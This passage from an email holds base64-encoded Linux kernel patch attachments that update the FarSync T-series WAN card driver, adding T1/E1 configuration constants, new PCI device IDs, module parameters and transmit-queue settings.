ICAgIHVuc2lnbmVkIGNoYXIgIGxvc1RocmVzaG9sZDsgICAgLyogQXR0ZW51YXRpb24gb24gTE9T IHNpZ25hbCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBpZGxlQ29kZTsgICAgICAgIC8qIFZh bHVlIHRvIHNlbmQgYXMgaWRsZSB0aW1lc2xvdCAqLworICAgICAgICB1bnNpZ25lZCBpbnQgICBy ZWNlaXZlQnVmZmVyRGVsYXk7IC8qIGRlbGF5IHRocm8gcnggYnVmZmVyIHRpbWVzbG90cyAqLwor ICAgICAgICB1bnNpZ25lZCBpbnQgICBmcmFtaW5nRXJyb3JDb3VudDsgLyogZnJhbWluZyBlcnJv cnMgKi8KKyAgICAgICAgdW5zaWduZWQgaW50ICAgY29kZVZpb2xhdGlvbkNvdW50OyAvKiBjb2Rl IHZpb2xhdGlvbnMgKi8KKyAgICAgICAgdW5zaWduZWQgaW50ICAgY3JjRXJyb3JDb3VudDsgICAv KiBDUkMgZXJyb3JzICovCisgICAgICAgIGludCAgICAgICAgICAgIGxpbmVBdHRlbnVhdGlvbjsg LyogaW4gZEIqLworICAgICAgICB1bnNpZ25lZCBzaG9ydCBsb3NzT2ZTaWduYWw7CisgICAgICAg IHVuc2lnbmVkIHNob3J0IHJlY2VpdmVSZW1vdGVBbGFybTsKKyAgICAgICAgdW5zaWduZWQgc2hv cnQgYWxhcm1JbmRpY2F0aW9uU2lnbmFsOwogfTsKIAogLyogInZhbGlkIiBiaXRtYXNrICovCkBA IC0xMzEsMTMgKzE2MiwyMyBAQAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqLwogI2RlZmluZSBGU1RWQUxfUFJPVE8gICAgMHgwMDAwMDIwMCAgICAgIC8qIHByb3Rv ICovCiAjZGVmaW5lIEZTVFZBTF9NT0RFICAgICAweDAwMDAwNDAwICAgICAgLyogY2FyZE1vZGUg Ki8KKyNkZWZpbmUgRlNUVkFMX1BIQVNFICAgIDB4MDAwMDA4MDAgICAgICAvKiBDbG9jayBwaGFz ZSAqLworI2RlZmluZSBGU1RWQUxfVEUxICAgICAgMHgwMDAwMTAwMCAgICAgIC8qIFQxRTEgQ29u ZmlndXJhdGlvbiAqLwogI2RlZmluZSBGU1RWQUxfREVCVUcgICAgMHg4MDAwMDAwMCAgICAgIC8q IGRlYnVnICovCi0jZGVmaW5lIEZTVFZBTF9BTEwgICAgICAweDAwMDAwN0ZGICAgICAgLyogTm90 ZTogZG9lcyBub3QgaW5jbHVkZSBERUJVRyBmbGFnICovCisjZGVmaW5lIEZTVFZBTF9BTEwgICAg ICAweDAwMDAxRkZGICAgICAgLyogTm90ZTogZG9lcyBub3QgaW5jbHVkZSBERUJVRyBmbGFnICov CiAKIC8qICJ0eXBlIiAqLwogI2RlZmluZSBGU1RfVFlQRV9OT05FICAgMCAgICAgICAgICAgICAg IC8qIFByb2JhYmx5IHNob3VsZCBuZXZlciBoYXBwZW4gKi8KICNkZWZpbmUgRlNUX1RZUEVfVDJQ ICAgIDEgICAgICAgICAgICAgICAvKiBUMlAgWDIxIDIgcG9ydCBjYXJkICovCiAjZGVmaW5lIEZT VF9UWVBFX1Q0UCAgICAyICAgICAgICAgICAgICAgLyogVDRQIFgyMSA0IHBvcnQgY2FyZCAqLwor I2RlZmluZSBGU1RfVFlQRV9UMVUgICAgMyAgICAgICAgICAgICAgIC8qIFQxVSBYMjEgMSBwb3J0 IGNhcmQgKi8KKyNkZWZpbmUgRlNUX1RZUEVfVDJVICAgIDQgICAgICAgICAgICAgICAvKiBUMlUg WDIxIDIgcG9ydCBjYXJkICovCisjZGVmaW5lIEZTVF9UWVBFX1Q0VSAgICA1ICAgICAgICAgICAg ICAgLyogVDRVIFgyMSA0IHBvcnQgY2FyZCAqLworI2RlZmluZSBGU1RfVFlQRV9URTEgICAgNiAg ICAgICAgICAgICAgIC8qIFQxRTEgWDIxIDEgcG9ydCBjYXJkICovCisKKy8qICJmYW1pbHkiICov CisjZGVmaW5lIEZTVF9GQU1JTFlfVFhQICAwICAgICAgICAgICAgICAgLyogVDJQIG9yIFQ0UCAq LworI2RlZmluZSBGU1RfRkFNSUxZX1RYVSAgMSAgICAgICAgICAgICAgIC8qIFQxVSBvciBUMlUg b3IgVDRVICovCiAKIC8qICJzdGF0ZSIgKi8KICNkZWZpbmUgRlNUX1VOSU5JVCAgICAgIDAgICAg ICAgICAgICAgICAvKiBSYXcgdW5pbml0aWFsaXNlZCBzdGF0ZSBmb2xsb3dpbmcKQEAgLTE1NSw2 ICsxOTYsMTAgQEAKICNkZWZpbmUgVjI0ICAgICAgICAgICAgIDEKICNkZWZpbmUgWDIxICAgICAg ICAgICAgIDIKICNkZWZpbmUgVjM1ICAgICAgICAgICAgIDMKKyNkZWZpbmUgWDIxRCAgICAgICAg ICAgIDQKKyNkZWZpbmUgVDEgICAgICAgICAgICAgIDUKKyNkZWZpbmUgRTEgICAgICAgICAgICAg IDYKKyNkZWZpbmUgSjEgICAgICAgICAgICAgIDcKIAogLyogInByb3RvIiAqLwogI2RlZmluZSBG U1RfSERMQyAgICAgICAgMSAgICAgICAgICAgICAgIC8qIENpc2NvIGNvbXBhdGlibGUgSERMQyAq LwpAQCAtMTg3LDYgKzIzMiw5NyBAQAogLyogImNhcmRNb2RlIiBiaXRtYXNrICovCiAjZGVmaW5l IENBUkRfTU9ERV9JREVOVElGWSAgICAgIDB4MDAwMQogCisvKiAKKyAqIENvbnN0YW50cyBmb3Ig VDEvRTEgY29uZmlndXJhdGlvbgorICovCisKKy8qCisgKiBDbG9jayBzb3VyY2UKKyAqLworI2Rl ZmluZSBDTE9DS0lOR19TTEFWRSAgICAgICAwCisjZGVmaW5lIENMT0NLSU5HX01BU1RFUiAgICAg IDEKKworLyoKKyAqIEZyYW1pbmcKKyAqLworI2RlZmluZSBGUkFNSU5HX0UxICAgICAgICAgICAw CisjZGVmaW5lIEZSQU1JTkdfSjEgICAgICAgICAgIDEKKyNkZWZpbmUgRlJBTUlOR19UMSAgICAg ICAgICAgMgorCisvKgorICogU3RydWN0dXJlCisgKi8KKyNkZWZpbmUgU1RSVUNUVVJFX1VORlJB TUVEICAgMAorI2RlZmluZSBTVFJVQ1RVUkVfRTFfRE9VQkxFICAxCisjZGVmaW5lIFNUUlVDVFVS RV9FMV9DUkM0ICAgIDIKKyNkZWZpbmUgU1RSVUNUVVJFX0UxX0NSQzRNICAgMworI2RlZmluZSBT VFJVQ1RVUkVfVDFfNCAgICAgICA0CisjZGVmaW5lIFNUUlVDVFVSRV9UMV8xMiAgICAgIDUKKyNk ZWZpbmUgU1RSVUNUVVJFX1QxXzI0ICAgICAgNgorI2RlZmluZSBTVFJVQ1RVUkVfVDFfNzIgICAg ICA3CisKKy8qCisgKiBJbnRlcmZhY2UKKyAqLworI2RlZmluZSBJTlRFUkZBQ0VfUko0OEMgICAg ICAwCisjZGVmaW5lIElOVEVSRkFDRV9CTkMgICAgICAgIDEKKworLyoKKyAqIENvZGluZworICov CisKKyNkZWZpbmUgQ09ESU5HX0hEQjMgICAgICAgICAgMAorI2RlZmluZSBDT0RJTkdfTlJaICAg ICAgICAgICAxCisjZGVmaW5lIENPRElOR19DTUkgICAgICAgICAgIDIKKyNkZWZpbmUgQ09ESU5H X0NNSV9IREIzICAgICAgMworI2RlZmluZSBDT0RJTkdfQ01JX0I4WlMgICAgICA0CisjZGVmaW5l IENPRElOR19BTUkgICAgICAgICAgIDUKKyNkZWZpbmUgQ09ESU5HX0FNSV9aQ1MgICAgICAgNgor I2RlZmluZSBDT0RJTkdfQjhaUyAgICAgICAgICA3CisKKy8qCisgKiBMaW5lIEJ1aWxkIE91dAor ICovCisjZGVmaW5lIExCT18wZEIgICAgICAgICAgICAgIDAKKyNkZWZpbmUgTEJPXzdkQjUgICAg ICAgICAgICAgMQorI2RlZmluZSBMQk9fMTVkQiAgICAgICAgICAgICAyCisjZGVmaW5lIExCT18y MmRCNSAgICAgICAgICAgIDMKKworLyoKKyAqIFJhbmdlIGZvciBsb25nIGhhdWwgdDEgPiA2NTVm dAorICovCisjZGVmaW5lIFJBTkdFXzBfMTMzX0ZUICAgICAgIDAKKyNkZWZpbmUgUkFOR0VfMF80 MF9NICAgICAgICAgUkFOR0VfMF8xMzNfRlQKKyNkZWZpbmUgUkFOR0VfMTMzXzI2Nl9GVCAgICAg MQorI2RlZmluZSBSQU5HRV80MF84MV9NICAgICAgICBSQU5HRV8xMzNfMjY2X0ZUCisjZGVmaW5l IFJBTkdFXzI2Nl8zOTlfRlQgICAgIDIKKyNkZWZpbmUgUkFOR0VfODFfMTIyX00gICAgICAgUkFO R0VfMjY2XzM5OV9GVAorI2RlZmluZSBSQU5HRV8zOTlfNTMzX0ZUICAgICAzCisjZGVmaW5lIFJB TkdFXzEyMl8xNjJfTSAgICAgICBSQU5HRV8zOTlfNTMzX0ZUCisjZGVmaW5lIFJBTkdFXzUzM182 NTVfRlQgICAgIDQKKyNkZWZpbmUgUkFOR0VfMTYyXzIwMF9NICAgICAgUkFOR0VfNTMzXzY1NV9G VAorLyoKKyAqIFJlY2VpdmUgRXF1YWxpc2VyCisgKi8KKyNkZWZpbmUgRVFVQUxJWkVSX1NIT1JU ICAgICAgMAorI2RlZmluZSBFUVVBTElaRVJfTE9ORyAgICAgICAxCisKKy8qCisgKiBMb29wIG1v ZGVzCisgKi8KKyNkZWZpbmUgTE9PUF9OT05FICAgICAgICAgICAgMAorI2RlZmluZSBMT09QX0xP Q0FMICAgICAgICAgICAxCisjZGVmaW5lIExPT1BfUEFZTE9BRF9FWENfVFMwIDIKKyNkZWZpbmUg TE9PUF9QQVlMT0FEX0lOQ19UUzAgMworI2RlZmluZSBMT09QX1JFTU9URSAgICAgICAgICA0CisK Ky8qCisgKiBCdWZmZXIgbW9kZXMKKyAqLworI2RlZmluZSBCVUZGRVJfMl9GUkFNRSAgICAgICAw CisjZGVmaW5lIEJVRkZFUl8xX0ZSQU1FICAgICAgIDEKKyNkZWZpbmUgQlVGRkVSXzk2X0JJVCAg ICAgICAgMgorI2RlZmluZSBCVUZGRVJfTk9ORSAgICAgICAgICAzCiAKIC8qICAgICAgRGVidWcg c3VwcG9ydAogICoKZGlmZiAtdXJOIGxpbnV4LTIuNi40LXByZTEtb3JpZy9pbmNsdWRlL2xpbnV4 L2lmLmggbGludXgvaW5jbHVkZS9saW51eC9pZi5oCi0tLSBsaW51eC0yLjYuNC1wcmUxLW9yaWcv aW5jbHVkZS9saW51eC9pZi5oCTIwMDQtMDMtMDEgMDk6MTc6MzYuMDAwMDAwMDAwICswMDAwCisr KyBsaW51eC9pbmNsdWRlL2xpbnV4L2lmLmgJMjAwNC0wMy0wMSAwOToyNToyNS4wMDAwMDAwMDAg KzAwMDAKQEAgLTYyLDYgKzYyLDcgQEAKICNkZWZpbmUgSUZfSUZBQ0VfVDEJMHgxMDAzCQkvKiBU MSB0ZWxjbyBzZXJpYWwgaW50ZXJmYWNlCSovCiAjZGVmaW5lIElGX0lGQUNFX0UxCTB4MTAwNAkJ LyogRTEgdGVsY28gc2VyaWFsIGludGVyZmFjZQkqLwogI2RlZmluZSBJRl9JRkFDRV9TWU5DX1NF UklBTCAweDEwMDUJLyogY2FuJ3QgYmUgc2V0IGJ5IHNvZnR3YXJlCSovCisjZGVmaW5lIElGX0lG QUNFX1gyMUQgICAweDEwMDYgICAgICAgICAgLyogWC4yMSBEdWFsIENsb2NraW5nIChGYXJTaXRl KSAqLwogCiAvKiBGb3IgZGVmaW5pdGlvbnMgc2VlIGhkbGMuaCAqLwogI2RlZmluZSBJRl9QUk9U T19IRExDCTB4MjAwMAkJLyogcmF3IEhETEMgcHJvdG9jb2wJCSovCkBAIC03Niw2ICs3Nyw3IEBA CiAjZGVmaW5lIElGX1BST1RPX0ZSX0RFTF9FVEhfUFZDIDB4MjAwOQkvKiAgRGVsZXRlIEZSIEV0 aGVybmV0LWJyaWRnZWQgUFZDICovCiAjZGVmaW5lIElGX1BST1RPX0ZSX1BWQwkweDIwMEEJCS8q IGZvciByZWFkaW5nIFBWQyBzdGF0dXMJKi8KICNkZWZpbmUgSUZfUFJPVE9fRlJfRVRIX1BWQyAw eDIwMEIKKyNkZWZpbmUgSUZfUFJPVE9fUkFXICAgIDB4MjAwQyAgICAgICAgICAvKiBSQVcgU29j a2V0ICAgICAgICAgICAgICAgICAgICovCiAKIAogLyoKZGlmZiAtdXJOIGxpbnV4LTIuNi40LXBy ZTEtb3JpZy9pbmNsdWRlL2xpbnV4L3BjaV9pZHMuaCBsaW51eC9pbmNsdWRlL2xpbnV4L3BjaV9p ZHMuaAotLS0gbGludXgtMi42LjQtcHJlMS1vcmlnL2luY2x1ZGUvbGludXgvcGNpX2lkcy5oCTIw MDQtMDMtMDEgMDk6MTc6MzUuMDAwMDAwMDAwICswMDAwCisrKyBsaW51eC9pbmNsdWRlL2xpbnV4 L3BjaV9pZHMuaAkyMDA0LTAzLTAxIDA5OjI1OjI1LjAwMDAwMDAwMCArMDAwMApAQCAtMTg1NCw2 ICsxODU0LDE1IEBACiAjZGVmaW5lIFBDSV9ERVZJQ0VfSURfTUFDUk9MSU5LX01DQ1I4CTB4MjAw MAogI2RlZmluZSBQQ0lfREVWSUNFX0lEX01BQ1JPTElOS19NQ0NSCTB4MjAwMQogCisjZGVmaW5l IFBDSV9WRU5ET1JfSURfRkFSU0lURSAgICAgICAgICAgMHgxNjE5CisjZGVmaW5lIFBDSV9ERVZJ Q0VfSURfRkFSU0lURV9UMlAgICAgICAgMHgwNDAwCisjZGVmaW5lIFBDSV9ERVZJQ0VfSURfRkFS U0lURV9UNFAgICAgICAgMHgwNDQwCisjZGVmaW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UMVUg ICAgICAgMHgwNjEwCisjZGVmaW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UMlUgICAgICAgMHgw NjIwCisjZGVmaW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UNFUgICAgICAgMHgwNjQwCisjZGVm aW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9URTEgICAgICAgMHgxNjEwCisjZGVmaW5lIFBDSV9E RVZJQ0VfSURfRkFSU0lURV9URTFDICAgICAgMHgxNjEyCisKICNkZWZpbmUgUENJX1ZFTkRPUl9J RF9BTFRJTUEJCTB4MTczYgogI2RlZmluZSBQQ0lfREVWSUNFX0lEX0FMVElNQV9BQzEwMDAJMHgw M2U4CiAjZGVmaW5lIFBDSV9ERVZJQ0VfSURfQUxUSU1BX0FDMTAwMQkweDAzZTkK ------_=_NextPart_001_01C44337.F139A020 Content-Type: application/octet-stream; name="farsync2.4.patch" Content-Transfer-Encoding: base64 Content-Description: farsync2.4.patch Content-Disposition: attachment; filename="farsync2.4.patch" ZGlmZiAtdXJOIGxpbnV4LTIuNC4yNy1wcmUxL2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMgbGlu dXgtMi40LjI3LXByZTEtbmV3L2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMKLS0tIGxpbnV4LTIu NC4yNy1wcmUxL2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMJMjAwMy0xMS0yOCAxODoyNjoyMC4w MDAwMDAwMDAgKzAwMDAKKysrIGxpbnV4LTIuNC4yNy1wcmUxLW5ldy9kcml2ZXJzL25ldC93YW4v ZmFyc3luYy5jCTIwMDQtMDQtMjYgMTg6NTg6MDMuMDAwMDAwMDAwICswMTAwCkBAIC0xLDkgKzEs OSBAQAogLyoKLSAqICAgICAgRmFyU3luYyBYMjEgZHJpdmVyIGZvciBMaW51eCAoZ2VuZXJpYyBI RExDIHZlcnNpb24pCisgKiAgICAgIEZhclN5bmMgV0FOIGRyaXZlciBmb3IgTGludXggKDIuNC54 IGtlcm5lbCB2ZXJzaW9uKQogICoKICAqICAgICAgQWN0dWFsbHkgc3luYyBkcml2ZXIgZm9yIFgu MjEsIFYuMzUgYW5kIFYuMjQgb24gRmFyU3luYyBULXNlcmllcyBjYXJkcwogICoKLSAqICAgICAg Q29weXJpZ2h0IChDKSAyMDAxIEZhclNpdGUgQ29tbXVuaWNhdGlvbnMgTHRkLgorICogICAgICBD b3B5cmlnaHQgKEMpIDIwMDEtMjAwNCBGYXJTaXRlIENvbW11bmljYXRpb25zIEx0ZC4KICAqICAg ICAgd3d3LmZhcnNpdGUuY28udWsKICAqCiAgKiAgICAgIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNv ZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKQEAgLTExLDY2ICsxMSw4MSBA QAogICogICAgICBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsg ZWl0aGVyIHZlcnNpb24KICAqICAgICAgMiBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0 aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KICAqCi0gKiAgICAgIEF1dGhvcjogUi5KLkR1bmxvcCAg ICAgIDxib2IuZHVubG9wQGZhcnNpdGUuY28udWs+CisgKiAgICAgIEF1dGhvcjogICAgICBSLkou RHVubG9wICAgIDxib2IuZHVubG9wQGZhcnNpdGUuY28udWs+CisgKiAgICAgIE1haW50YWluZXI6 ICBLZXZpbiBDdXJ0aXMgIDxrZXZpbi5jdXJ0aXNAZmFyc2l0ZS5jby51az4KICAqLwogCiAjaW5j bHVkZSA8bGludXgvbW9kdWxlLmg+CiAjaW5jbHVkZSA8bGludXgva2VybmVsLmg+CisjaW5jbHVk ZSA8bGludXgvdmVyc2lvbi5oPgogI2luY2x1ZGUgPGxpbnV4L3BjaS5oPgogI2luY2x1ZGUgPGxp bnV4L2lvcG9ydC5oPgogI2luY2x1ZGUgPGxpbnV4L2luaXQuaD4KICNpbmNsdWRlIDxhc20vdWFj Y2Vzcy5oPgogI2luY2x1ZGUgPGxpbnV4L2lmLmg+CiAjaW5jbHVkZSA8bGludXgvaGRsYy5oPgor I2luY2x1ZGUgPGFzbS9kZWxheS5oPgogCiAjaW5jbHVkZSAiZmFyc3luYy5oIgogCi0KIC8qCiAg KiAgICAgIE1vZHVsZSBpbmZvCiAgKi8KIE1PRFVMRV9BVVRIT1IoIlIuSi5EdW5sb3AgPGJvYi5k dW5sb3BAZmFyc2l0ZS5jby51az4iKTsKLU1PRFVMRV9ERVNDUklQVElPTigiRmFyU3luYyBULVNl cmllcyBYMjEgZHJpdmVyLiBGYXJTaXRlIENvbW11bmljYXRpb25zIEx0ZC4iKTsKK01PRFVMRV9E RVNDUklQVElPTigiRmFyU3luYyBULVNlcmllcyBXQU4gZHJpdmVyLiBGYXJTaXRlIENvbW11bmlj YXRpb25zIEx0ZC4iKTsKK01PRFVMRV9QQVJNKGZzdF90eHFfbG93LCAiaSIpOworTU9EVUxFX1BB Uk0oZnN0X3R4cV9oaWdoLCAiaSIpOworTU9EVUxFX1BBUk0oZnN0X21heF9yZWFkcywgImkiKTsK K01PRFVMRV9QQVJNKGZzdF9leGNsdWRlZF9jYXJkcywgImkiKTsKK01PRFVMRV9QQVJNKGZzdF9l eGNsdWRlZF9saXN0LCAiMC0zMmkiKTsKIE1PRFVMRV9MSUNFTlNFKCJHUEwiKTsKIAogRVhQT1JU X05PX1NZTUJPTFM7CiAKLQogLyogICAgICBEcml2ZXIgY29uZmlndXJhdGlvbiBhbmQgZ2xvYmFs IHBhcmFtZXRlcnMKICAqICAgICAgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09CiAgKi8KIAotLyogICAgICBOdW1iZXIgb2YgcG9ydHMgKHBlciBjYXJkKSBzdXBwb3J0 ZWQKKy8qICAgICAgTnVtYmVyIG9mIHBvcnRzIChwZXIgY2FyZCkgYW5kIGNhcmRzIHN1cHBvcnRl ZAogICovCiAjZGVmaW5lIEZTVF9NQVhfUE9SVFMgICAgICAgICAgIDQKLQotCi0vKiAgICAgIFBD SSB2ZW5kb3IgYW5kIGRldmljZSBJRHMKLSAqLwotI2RlZmluZSBGU0NfUENJX1ZFTkRPUl9JRCAg ICAgICAweDE2MTkgIC8qIEZhclNpdGUgQ29tbXVuaWNhdGlvbnMgTHRkICovCi0jZGVmaW5lIFQy UF9QQ0lfREVWSUNFX0lEICAgICAgIDB4MDQwMCAgLyogVDJQIFgyMSAyIHBvcnQgY2FyZCAqLwot I2RlZmluZSBUNFBfUENJX0RFVklDRV9JRCAgICAgICAweDA0NDAgIC8qIFQ0UCBYMjEgNCBwb3J0 IGNhcmQgKi8KLQorI2RlZmluZSBGU1RfTUFYX0NBUkRTICAgICAgICAgICAzMgogCiAvKiAgICAg IERlZmF1bHQgcGFyYW1ldGVycyBmb3IgdGhlIGxpbmsKICAqLwotI2RlZmluZSBGU1RfVFhfUVVF VUVfTEVOICAgICAgICAxMDAgICAgIC8qIEF0IDhNYnBzIGEgbG9uZ2VyIHF1ZXVlIGxlbmd0aCBp cwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHVzZWZ1bCwgdGhl IHN5bmNwcHAgbW9kdWxlIGZvcmNlcwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAqIHRoaXMgZG93biBhc3N1bWluZyBhIHNsb3dlciBsaW5lIEkKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBndWVzcy4KLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSNkZWZpbmUgRlNUX01BWF9NVFUgICAgICAgICAg ICAgODAwMCAgICAvKiBIdWdlIGJ1dCBwb3NzaWJsZSAqLwotI2RlZmluZSBGU1RfREVGX01UVSAg ICAgICAgICAgICAxNTAwICAgIC8qIENvbW1vbiBzYW5lIHZhbHVlICovCisjZGVmaW5lIEZTVF9U WF9RVUVVRV9MRU4gICAgICAgIDEwMAkvKiBBdCA4TWJwcyBhIGxvbmdlciBxdWV1ZSBsZW5ndGgg aXMKKwkJCQkJICogdXNlZnVsLCB0aGUgc3luY3BwcCBtb2R1bGUgZm9yY2VzCisJCQkJCSAqIHRo aXMgZG93biBhc3N1bWluZyBhIHNsb3dlciBsaW5lIEkKKwkJCQkJICogZ3Vlc3MuCisJCQkJCSAq LworI2RlZmluZSBGU1RfVFhRX0RFUFRIICAgICAgICAgICAxNgkvKiBUaGlzIG9uZSBpcyBmb3Ig dGhlIGJ1ZmZlcmluZworCQkJCQkgKiBvZiBmcmFtZXMgb24gdGhlIHdheSBkb3duIHRvIHRoZSBj YXJkCisJCQkJCSAqIHNvIHRoYXQgd2UgY2FuIGtlZXAgdGhlIGNhcmQgYnVzeQorCQkJCQkgKiBh bmQgbWF4aW1pc2UgdGhyb3VnaHB1dAorCQkJCQkgKi8KKyNkZWZpbmUgRlNUX0hJR0hfV0FURVJf TUFSSyAgICAgMTIJLyogUG9pbnQgYXQgd2hpY2ggd2UgZmxvdyBjb250cm9sCisJCQkJCSAqIG5l dHdvcmsgbGF5ZXIgKi8KKyNkZWZpbmUgRlNUX0xPV19XQVRFUl9NQVJLICAgICAgOAkvKiBQb2lu dCBhdCB3aGljaCB3ZSByZW1vdmUgZmxvdworCQkJCQkgKiBjb250cm9sIGZyb20gbmV0d29yayBs YXllciAqLworI2RlZmluZSBGU1RfTUFYX01UVSAgICAgICAgICAgICA4MDAwCS8qIEh1Z2UgYnV0 IHBvc3NpYmxlICovCisjZGVmaW5lIEZTVF9ERUZfTVRVICAgICAgICAgICAgIDE1MDAJLyogQ29t bW9uIHNhbmUgdmFsdWUgKi8KIAogI2RlZmluZSBGU1RfVFhfVElNRU9VVCAgICAgICAgICAoMipI WikKIAotCiAjaWZkZWYgQVJQSFJEX1JBV0hETEMKLSNkZWZpbmUgQVJQSFJEX01ZVFlQRSAgIEFS UEhSRF9SQVdIRExDICAvKiBSYXcgZnJhbWVzICovCisjZGVmaW5lIEFSUEhSRF9NWVRZUEUgICBB UlBIUkRfUkFXSERMQwkvKiBSYXcgZnJhbWVzICovCiAjZWxzZQotI2RlZmluZSBBUlBIUkRfTVlU WVBFICAgQVJQSFJEX0hETEMgICAgIC8qIENpc2NvLUhETEMgKGtlZXBhbGl2ZXMgZXRjKSAqLwor I2RlZmluZSBBUlBIUkRfTVlUWVBFICAgQVJQSFJEX0hETEMJLyogQ2lzY28tSERMQyAoa2VlcGFs aXZlcyBldGMpICovCiAjZW5kaWYKIAorLyoKKyAqIE1vZHVsZXMgcGFyYW1ldGVycyBhbmQgYXNz b2NpYXRlZCB2YXJhaWJsZXMKKyAqLworaW50IGZzdF90eHFfbG93ID0gRlNUX0xPV19XQVRFUl9N QVJLOworaW50IGZzdF90eHFfaGlnaCA9IEZTVF9ISUdIX1dBVEVSX01BUks7CitpbnQgZnN0X21h eF9yZWFkcyA9IDc7CitpbnQgZnN0X2V4Y2x1ZGVkX2NhcmRzID0gMDsKK2ludCBmc3RfZXhjbHVk ZWRfbGlzdFtGU1RfTUFYX0NBUkRTXTsKIAogLyogICAgICBDYXJkIHNoYXJlZCBtZW1vcnkgbGF5 b3V0CiAgKiAgICAgID09PT09PT09PT09PT09PT09PT09PT09PT0KQEAgLTg3LDU4ICsxMDIsNTcg QEAKICAqICAgICAgYmUgdXNlZCB0byBjaGVjayB0aGF0IHdlIGhhdmUgbm90IGdvdCBvdXQgb2Yg c3RlcCB3aXRoIHRoZSBmaXJtd2FyZQogICogICAgICBjb250YWluZWQgaW4gdGhlIC5DREUgZmls ZXMuCiAgKi8KLSNkZWZpbmUgU01DX1ZFUlNJT04gMTEKKyNkZWZpbmUgU01DX1ZFUlNJT04gMjQK IAotI2RlZmluZSBGU1RfTUVNU0laRSAweDEwMDAwMCAgICAvKiBTaXplIG9mIGNhcmQgbWVtb3J5 ICgxTWIpICovCisjZGVmaW5lIEZTVF9NRU1TSVpFIDB4MTAwMDAwCS8qIFNpemUgb2YgY2FyZCBt ZW1vcnkgKDFNYikgKi8KIAotI2RlZmluZSBTTUNfQkFTRSAweDAwMDAyMDAwTCAgICAvKiBCYXNl IG9mZnNldCBvZiB0aGUgc2hhcmVkIG1lbW9yeSB3aW5kb3cgbWFpbgotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgKiBjb25maWd1cmF0aW9uIHN0cnVjdHVyZSAqLwotI2RlZmluZSBC Rk1fQkFTRSAweDAwMDEwMDAwTCAgICAvKiBCYXNlIG9mZnNldCBvZiB0aGUgc2hhcmVkIG1lbW9y eSB3aW5kb3cgRE1BCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIGJ1ZmZlcnMg Ki8KKyNkZWZpbmUgU01DX0JBU0UgMHgwMDAwMjAwMEwJLyogQmFzZSBvZmZzZXQgb2YgdGhlIHNo YXJlZCBtZW1vcnkgd2luZG93IG1haW4KKwkJCQkgKiBjb25maWd1cmF0aW9uIHN0cnVjdHVyZSAq LworI2RlZmluZSBCRk1fQkFTRSAweDAwMDEwMDAwTAkvKiBCYXNlIG9mZnNldCBvZiB0aGUgc2hh cmVkIG1lbW9yeSB3aW5kb3cgRE1BCisJCQkJICogYnVmZmVycyAqLwogCi0jZGVmaW5lIExFTl9U WF9CVUZGRVIgODE5MiAgICAgIC8qIFNpemUgb2YgcGFja2V0IGJ1ZmZlcnMgKi8KKyNkZWZpbmUg TEVOX1RYX0JVRkZFUiA4MTkyCS8qIFNpemUgb2YgcGFja2V0IGJ1ZmZlcnMgKi8KICNkZWZpbmUg TEVOX1JYX0JVRkZFUiA4MTkyCiAKLSNkZWZpbmUgTEVOX1NNQUxMX1RYX0JVRkZFUiAyNTYgLyog U2l6ZSBvZiBvYnNvbGV0ZSBidWZmcyB1c2VkIGZvciBET1MgZGlhZ3MgKi8KKyNkZWZpbmUgTEVO X1NNQUxMX1RYX0JVRkZFUiAyNTYJLyogU2l6ZSBvZiBvYnNvbGV0ZSBidWZmcyB1c2VkIGZvciBE T1MgZGlhZ3MgKi8KICNkZWZpbmUgTEVOX1NNQUxMX1JYX0JVRkZFUiAyNTYKIAotI2RlZmluZSBO VU1fVFhfQlVGRkVSIDIgICAgICAgICAvKiBNdXN0IGJlIHBvd2VyIG9mIDIuIEZpeGVkIGJ5IGZp cm13YXJlICovCisjZGVmaW5lIE5VTV9UWF9CVUZGRVIgMgkJLyogTXVzdCBiZSBwb3dlciBvZiAy LiBGaXhlZCBieSBmaXJtd2FyZSAqLwogI2RlZmluZSBOVU1fUlhfQlVGRkVSIDgKIAogLyogSW50 ZXJydXB0IHJldHJ5IHRpbWUgaW4gbWlsbGlzZWNvbmRzICovCiAjZGVmaW5lIElOVF9SRVRSWV9U SU1FIDIKIAotCiAvKiAgICAgIFRoZSBBbTE4NkNIL0NDIHByb2Nlc3NvcnMgc3VwcG9ydCBhIFNt YXJ0RE1BIG1vZGUgdXNpbmcgY2lyY3VsYXIgcG9vbHMKICAqICAgICAgb2YgYnVmZmVyIGRlc2Ny aXB0b3JzLiBUaGUgc3RydWN0dXJlIGlzIGFsbW9zdCBpZGVudGljYWwgdG8gdGhhdCB1c2VkCiAg KiAgICAgIGluIHRoZSBMQU5DRSBFdGhlcm5ldCBjb250cm9sbGVycy4gRGV0YWlscyBhdmFpbGFi bGUgYXMgUERGIGZyb20gdGhlCiAgKiAgICAgIEFNRCB3ZWIgc2l0ZTogaHR0cDovL3d3dy5hbWQu Y29tL3Byb2R1Y3RzL2VwZC9wcm9jZXNzb3JzL1wKICAqICAgICAgICAgICAgICAgICAgICAyLjE2 